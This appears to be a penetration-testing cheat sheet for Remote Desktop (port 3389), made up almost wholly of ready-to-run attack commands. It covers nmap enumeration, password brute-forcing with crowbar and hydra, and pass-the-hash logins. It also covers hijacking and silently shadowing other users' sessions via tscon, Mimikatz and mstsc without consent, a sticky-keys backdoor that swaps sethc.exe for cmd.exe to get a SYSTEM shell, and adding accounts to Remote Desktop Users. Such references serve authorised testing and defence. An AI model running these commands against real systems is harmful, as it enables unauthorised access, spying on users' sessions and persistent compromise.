3389 - Pentesting RDP

# Comprehensive scan (encryption, vuln-ms12-020, NTLM info)
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

# Security layer details
nmap --script rdp-enum-encryption -p 3389 <IP>

# NLA status check
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot (only if NLA disabled)
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot
nxc rdp <IP> -u <user> -p <password> --screenshot

# Crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

# Hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

# rdesktop
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>

# xfreerdp (more features)
xfreerdp /u:<username> /p:<password> /v:<IP>
xfreerdp /d:domain /u:<username> /pth:<hash> /v:<IP>   # Pass-the-Hash

# Verify credentials with impacket
rdp_check <domain>/<username>:<password>@<IP>

# List open sessions
query user

# Connect to a session
tscon <ID> /dest:<SESSIONNAME>

# Via Mimikatz
ts::sessions
ts::remote /id:2

# List sessions on remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a session (may require consent)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Without consent (if policy allows)
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check shadowing policy
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

# rdp2tcp for TCP tunneling over RDP
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

# Create sticky keys backdoor (requires SYSTEM access)
# Replace sethc.exe with cmd.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\sethc.exe.bak
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

# Press Shift 5 times at login screen for SYSTEM cmd

# Find pre-existing backdoors
# https://github.com/linuz/Sticky-Keys-Slayer

# Inject beacon into RDP session process
# Details: windows-hardening/active-directory-methodology/rdp-sessions-abuse

net localgroup "Remote Desktop Users" UserLoginName /add